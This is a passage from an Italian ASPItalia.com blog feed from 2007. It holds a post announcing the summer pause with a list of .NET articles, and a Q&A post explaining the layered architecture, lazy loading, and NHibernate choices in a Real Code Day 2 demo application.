onclick=&quot;blankUrl(this.href); return false;&quot;&gt;Marco De Sanctis&lt;/a&gt; anche per quest'anno siamo giunti all'interruzione delle pubblicazioni degli articoli su ASPItalia.com in concomitanza con il periodo estivo.&lt;/p&gt; &lt;p&gt;Inutile dire che si &#232; trattato di un altro anno (&lt;a href=&quot;http://blogs.aspitalia.com/rickyvr/post1660/chiusura-estiva-area-articoli.aspx&quot; onclick=&quot;blankUrl(this.href); return false;&quot;&gt;come il precedente&lt;/a&gt;) davvero soddisfacente, durante il quale abbiamo pubblicato &lt;strong&gt;15 articoli &lt;/strong&gt;in circa 9 mesi, senza considerare gli articoli dello speciale dedicato ad Orcas condiviso con WinFXItalia.com che include altri &lt;strong&gt;4 articoli&lt;/strong&gt; (per un totale di &lt;strong&gt;19 articoli&lt;/strong&gt;).&lt;/p&gt; &lt;p&gt;Gli speciali che durante l'annata hanno coinvolto articoli su ASPItalia.com sono stati in tutto 3:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Speciale sul nostro libro &quot;ASP.NET 2.0 per tutti&quot; (6 articoli)&lt;/li&gt; &lt;li&gt;Speciale su ASP.NET AJAX (2 articoli e 3 script)&lt;/li&gt; &lt;li&gt;Speciale su .NET Framework 3.5 Orcas (5 articoli)&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Gli articoli pubblicati sono elencati di seguito in ordine di data:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Gestione della persistenza con NHibernate&lt;/strong&gt;&lt;br /&gt;Marco De Sanctis&lt;br /&gt;19/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a LINQ (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;08/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Le novit&#224; di ASP.NET Orcas beta 1 (ASPItalia.com e WinFXItalia.com)&lt;/strong&gt;&lt;br /&gt;Daniele Bochicchio - Microsoft MVP&lt;br /&gt;07/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a Visual Basic 9 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Cristian Civera - Microsoft MVP&lt;br /&gt;06/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a C# 3.0 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;05/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Le novit&#224; in .NET Framework 3.5 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Alessandro Catorcini - Microsoft Corp.&lt;br /&gt;04/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;HttpModule di ASP.NET per esempi&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;08/05/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione alla libreria AJAX Control Toolkit&lt;/strong&gt;&lt;br /&gt;Ugo Lattanzi&lt;br /&gt;10/04/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Creazione e installazione di un Windows Service&lt;/strong&gt;&lt;br /&gt;Cristiano Degiorgis&lt;br /&gt;27/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;ASP.NET AJAX 1.0 Server Extensions&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;16/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a Microsoft AJAX Library&lt;/strong&gt;&lt;br /&gt;Alessandro Gallo - Microsoft MVP&lt;br /&gt;13/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Gestione delle transazioni con il .NET Framework 2.0&lt;/strong&gt;&lt;br /&gt;Ugo Lattanzi&lt;br /&gt;30/01/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Localizzazione e globalizzazione di applicazioni web - Seconda parte&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;19/12/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Localizzazione e globalizzazione di applicazioni web - Prima parte&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;05/12/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;ASP.NET AJAX Beta 2: intervista a Shawn Burke&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;21/11/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;BuildProvider, ExpressionBuilder e VirtualPathProvider&lt;/strong&gt;&lt;br /&gt;Cristian Civera - Microsoft MVP&lt;br /&gt;07/11/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Programmazione orientata agli oggetti - Seconda parte&lt;/strong&gt;&lt;br /&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;24/10/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Programmazione orientata agli oggetti - Prima parte&lt;/strong&gt;&lt;br /&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;10/10/2006&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Personalizzazione dell'utente con le Profile API di ASP.NET 2.0&lt;/strong&gt;&lt;br /&gt;Daniele Bochicchio - Microsoft MVP&lt;br /&gt;26/09/2006&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Colgo l'occasione per ringraziare tutti gli autori per il loro prezioso contributo, senza il quale la sezione articoli non potrebbe esistere, n&#232; avere tutto il seguito che &#232; testimoniato dal numero delle letture, sempre molto alto indipendentemente dall'argomento trattato. &lt;strong&gt;GRAZIE A TUTTI!&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Inoltre colgo l'occasione per rammentare che chiunque avesse voglia di contribuire con un proprio articolo pu&#242; contattarci via mail a &lt;em&gt;&lt;strong&gt;collabora_at_aspitalia_dot_com&lt;/strong&gt;&lt;/em&gt;. Saremo ben felici di poter valutare e pubblicare insieme a voi i vostri articoli.&lt;/p&gt; &lt;p&gt;Infine ricordo che le pubblicazioni riprenderanno dopo l'estate, presumibilmente nel mese di settembre.&lt;/p&gt; &lt;p&gt;Per intanto buone vacanze a tutti. Ci si legge dopo l'estate.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx"/><issued>2007-06-14T15:11:44+00:00</issued><modified>2007-06-14T15:11:44+00:00</modified><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2080.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2080</trackback:ping></entry><entry><title>Domande dal Real Code Day 2</title><id>http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx</id><created>2007-06-01T13:50:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2068' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;&lt;p /&gt;&lt;p&gt;Qualche giorno fa mi &#232; arrivata una mail di domande riferite alla sessione architetturale che ho avuto modo di tenere recentemente all'evento di Firenze, il Real Code Day 2. L'autore della mail &#232; Andrea Angella, studente di ingegneria informatica all'Universit&#224; di Pisa. Dal momento che la mail &#232; bella corposa e affronta molti aspetti, credo che la risposta possa essere di interesse pubblico, considerando anche il grande numero di mail che oltre a questa mi sono giunte con richieste di chiarimenti e approfondimenti. Le domande si riferiscono all'applicazione scritta in diretta durante la sessione e disponibile all'indirizzo: &lt;a href=&quot;http://www.dotnetcircle.it/firenze07.aspx&quot;&gt;http://www.dotnetcircle.it/firenze07.aspx&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; il testo della mail &#232; in italico, le domande sono in grassetto, infine le risposte sono in testo normale.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho seguito con molta attenzione la sessione che hai fatto a Firenze sull'architettura (diciamo che quella ero uno degli scopi principali per cui ero venuto al Real Code Day 2) e dopo aver analizzato il codice della soluzione vorrei farti alcune domande:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho visto che utilizzi il pattern &lt;b&gt;Abstract Factory&lt;/b&gt; per costruire istanze concrete (con o senza cache) di &lt;b&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt; come per esempio &lt;b&gt;AuthorService &lt;/b&gt;e &lt;b&gt;AuthorCacheService. &lt;/b&gt;Lo scopo di queste classi &#232; interagire con il DAL per ottenere istanze di &lt;b&gt;Author &lt;/b&gt;o &lt;b&gt;AuthorCollection &lt;/b&gt;a seconda che sia stato invocato ReadSingle() o ReadAll(). Il livello UI poi utilizzer&#224; la classe &lt;b&gt;Authors &lt;/b&gt;come fonte di informazioni da inserire ad esempio all'interno del controllo GridView. Per accedere ai libri invece la UI utilizza la classe &lt;b&gt;Books &lt;/b&gt;che offre diversi metodi per effettuare ricerche e che al suo interno sfrutta le classi &lt;b&gt;BookService &lt;/b&gt;o &lt;b&gt;BookCacheService&lt;/b&gt; che implementano l'interfaccia &lt;b&gt;ILazyService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt; che a sua volta implementa l'interfaccia &lt;b&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/b&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;b&gt;1) Puoi spiegarmi meglio le relazioni per esempio tra le classi BookService e Books? &lt;/b&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Books&lt;/em&gt; &#232; una classe di facciata (facade) che ha lo scopo di instradare le richieste ai servizi applicativi interni mascherando all'utilizzatore i dettagli della chiamata del servizio. Tutti i servizi implementano l'interfaccia &lt;em&gt;IEntityService&amp;lt;T&amp;gt;&lt;t /&gt;&lt;/em&gt; e vengono instanziati all'interno delle classi di facciata in base ai parametri di chiamata dei metodi.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;em&gt;2) Quali vantaggi mi offre questa gerarchia un p&#242; intricata? &lt;/em&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Il vantaggio &#232; quello di poter gestire la complessit&#224; in modo mirato, ripartendo le responsabilit&#224; tra pi&#249; oggetti. L'alternativa sarebbe quella di avere una serie di oggettoni (uno per tipologia) che fanno tutto, che hanno una serie di comportamenti statici e predefiniti (non modificabili senza che la cosa abbia ripercussione altrove) e che siano fonte di un forte accoppiamento. In termini di manutenibilit&#224; e flessibilit&#224; la struttura ad oggetti presentata d&#224; grossi vantaggi e permette di creare un meccanismo di isolamento e protezione del codice, evitando ripercussioni in caso di modifica.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;b&gt;3) In cosa consiste e come funziona il LazyLoad ?&lt;/b&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In certi frangenti pu&#242; esistere la necessit&#224; di voler caricare parzialmente le informazioni di una classe, magari perch&#232; sono particolarmente onerose in termini di occupazione di memoria. In tali casi si pu&#242; scegliere di operare un caricamento dilazionato, in base al quale i dati &amp;quot;pesanti&amp;quot; vengano caricati solo nel momento in cui effettivamente sono utilizzati. Il Lazy Loading consiste proprio in questo. L'entit&#224; a caricamento parziale &#232; &lt;em&gt;LazyBook&lt;/em&gt; che sta nel BLL per non creare accoppiamento con lo strato di accesso ai dati. In &lt;em&gt;LazyBook&lt;/em&gt; la propriet&#224; &lt;em&gt;Authors&lt;/em&gt; carica gli autori all'interno del metodo protetto &lt;em&gt;LoadAuthors&lt;/em&gt;, chiamando un metodo specifico all'interno del DAL.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;4) Perch&#232; creare IServiceFactory e poi la classe concreta ServiceFactory? Dovrebbe essere implementata come una classe Singleton?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;La classe &lt;em&gt;ServiceFactory&lt;/em&gt; &#232; singleton e usa internamente un riferimento privato di tipo &lt;em&gt;IServiceFactory&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;5) Qual &#232; l'utilit&#224; di creare e utilizzare l'attributo EntityTypeAttribute per decorare le classi Entity? in che parte del codice viene utilizzato EntityType della classe base Entity?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Come ho avuto modo dire a Firenze, la caratteristica principale delle entit&#224; &#232; quella di essere provviste di una identit&#224; (ID). Non tutti gli oggetti dell'Object Model sono provvisti di identit&#224;, infatti non tutti gli oggetti sono necessariamente entit&#224;, come per esempio &lt;em&gt;Price&lt;/em&gt; (in tal caso si chiamano value object). Oltre all'identit&#224; occorre fornire un meccanismo di confronto tra le istanze di entit&#224;. Per fare questo occorre fare l'override del metodo &lt;em&gt;Equals&lt;/em&gt; di &lt;em&gt;Object&lt;/em&gt;. Se ponessimo il metodo &lt;em&gt;Equals&lt;/em&gt; in ogni classe entit&#224;, avremmo la stessa implementazione ripetuta n volte. Ha quindi senso considerare l'opportunit&#224; di creare un supertipo &lt;em&gt;Entity&lt;/em&gt; dove inserire la propriet&#224; &lt;em&gt;ID&lt;/em&gt; e il metodo &lt;em&gt;Equals&lt;/em&gt;. Dal momento che due entit&#224; di tipo diverso possono avere lo stesso ID, occorre poter identificare la tipologia dell'entit&#224; oltre al suo ID. L'uguaglianza sar&#224; data dalla coincidenza di ID e tipologia. Associando un attributo custom ad ogni entit&#224;, &#232; possibile marcarla in modo distinguibile. La propriet&#224; &lt;em&gt;EntityType&lt;/em&gt; di &lt;em&gt;Entity&lt;/em&gt; legge gli attributi custom dell'entit&#224; e ricava in questo modo la tipologia. La stessa cosa pu&#242; essere ottenuta inserendo nel tipo &lt;em&gt;Entity&lt;/em&gt; una propriet&#224; astratta da implementare obbligatoriamente in ogni tipo derivato affinch&#232; ritorni un valore distinguibile.&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho visto che hai creato un classe PageBase attraverso la quale costruire le varie pagine. Essa permette di implementare un meccanismo comune per la validazione della querystring.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;6) Puoi spiegarmi in particolare come funziona il metodo Validate() e quali classi ed attributi nella cartella Validation entrano in gioco ?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Quello di validazione &#232; un servizio infrastrutturale dell'applicazione che permette di gestire in modo automatico la validazione della QueryString associata ad una richiesta HTTP. Il servizio sfrutta una serie di attributi custom per definire le modalit&#224; di validazione e, in base ai valori ottenuti dalle operazioni di verifica, decide quali azioni intraprendere in caso di input non valido. In questo caso l'utilizzatore del servizio di validazione &#232; la classe &lt;em&gt;PageBase&lt;/em&gt;, ma avrebbe potuto tranquillamente essere utilizzato un &lt;em&gt;HttpModule&lt;/em&gt; specifico. L'implementazione del modulo &#232; spiegata nell'&lt;a onclick=&quot;function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
blankUrl(this.href); return false;
}
}
}
}
}
}
}&quot; href=&quot;http://www.aspitalia.com/articoli/asp.net2/httpmodules.aspx&quot;&gt;articolo di Stefano Mostarda&lt;/a&gt; pubblicato recentemente su ASPItalia.com.&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ho avuto modo di utilizzare il designer dei dataset tipizzati di VS2005 e l'ho trovato molto interessante. Ho sviluppato un'applicazione windows form utilizzando il modello a oggetti offerto dal designer e dai TableAdapter ma ho da subito notato la scarsa flessibilit&#224; dello stesso soprattutto di fronte a modifiche anche lievi al database nonch&#232; la lentezza. Io in pratica ho usato una sorta di architettura a due livelli DAL + UI che utilizza direttamente istanze di TableAdapter. Avevo visto tempo f&#224; articoli che proponevano soluzioni di questo tipo in ASP.NET. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;5) Cosa pensi a riguardo di questa possibilit&#224;? &lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Non sono un grande amante dei container di dati quali sono &lt;em&gt;DataSet&lt;/em&gt; e &lt;em&gt;DataTable&lt;/em&gt;, ma &#232; innegabile che in talune circostanze sono davvero utili. In termini di praticit&#224; i container di dati di ADO.NET sono ottimi, non si pu&#242; dire la stessa cosa in termini di performance, anche se rispetto alla versione 1.x sono stati migliorati.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;6) In Orcas sono stati fatti miglioramenti?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Vedi la risposta alla domanda 7.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;7) Inoltre in cosa consiste la tecnologia LINQ che sento tanto spesso nominare e quali vantaggi permette di ottenere?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Ti rimando agli articoli dedicati al .NET Framework 3.5 che usciranno nei prossimi giorni su ASPItalia.com e WinFXItalia.com in occasione dello &lt;a onclick=&quot;function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
function anonymous()
{
blankUrl(this.href); return false;
}
}
}
}
}
}
}&quot; href=&quot;http://www.aspitalia.com/focuson/967/speciale-.net-framework-3.5-giugno.aspx&quot;&gt;speciale dedicato ad Orcas&lt;/a&gt;. Tra gli articoli ce n'&#232; uno dedicato alle query expressions (LINQ).&lt;br /&gt;&lt;em&gt;&lt;br /&gt;Ho sentito che &#232; molto diffuso l'utilizzo di uno strumento come NHibernate per la costruzione di un modello a oggetti sul DB. (Premetto che non l'ho mai utilizzato s&#242; solo cosa permette di fare)&lt;br /&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;strong&gt;8) Utilizzando la tua architettura quali vantaggi offrirebbe il suo utilizzo e quali modifiche richiederebbe?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Un ORM consente la mappatura tra i dati e le entit&#224; del dominio applicativo, fornisce funzionalit&#224; avanzate per l'accesso ai dati e la gestione della persistenza, include meccanismi quali la gestione di contesti transazionali (UoW), la gestione del caricamento parziale dei dati (Lazy Loading) e l'ottimizzazione nel fetching e nell'updating. NHibernate &#232; sicuramente l'ORM pi&#249; apprezzato e usato dagli sviluppatori .NET, molto indicato (se non indispensabile) quando l'approccio &#232; quello che &#232; conosciuto come Domain Model, dove la rappresentazione in memoria delle informazioni necessita di efficienza e di ottimizzazioni continue. In generale per le applicazioni web trovo l'uso degli ORM meno vantaggioso di quanto non sia con le applicazioni Windows. In ogni caso occhio sempre all'over-engineering e alle performance.&lt;br /&gt;&lt;em&gt;&lt;br /&gt;Infine una semplice domanda di stile di codifica:&lt;br /&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;9) Perch&#232; tu come molti altri utilizzate _ per indicare i membri privati di un oggetto? &lt;/em&gt;&lt;em&gt;A me non piace molto vorrei sapere se ci sono alternative o se riesci a convincermi che &#232; opportuno fare cos&#236;.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Utilizzo l'underscore per i campi privati per due motivi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;elimina qualsiasi possibile ambiguit&#224; di naming con gli eventuali parametri di un metodo (sia campi che parametri usano la camel notation); &lt;/li&gt;&lt;li&gt;permette di non utilizzare la keyword &amp;quot;this&amp;quot; rappresentando di fatto un suo alias e una &amp;quot;scorciatoia&amp;quot;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;OK, io mi fermerei qui... ;) Spero di aver aver risposto esaurientemente alle domande. Un saluto e un ringraziamento a tutti coloro che mi hanno scritto in questi giorni per farmi domande relative a quanto visto al Real Code Day 2. Alla prossima...&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/Architettura/&quot; rel=&quot;tag&quot;&gt;Architettura&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx"/><issued>2007-06-01T15:50:00+00:00</issued><modified>2007-06-01T15:50:00+00:00</modified><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2068/Domande-Real-Code-Day.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2068.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2068</trackback:ping></entry></feed>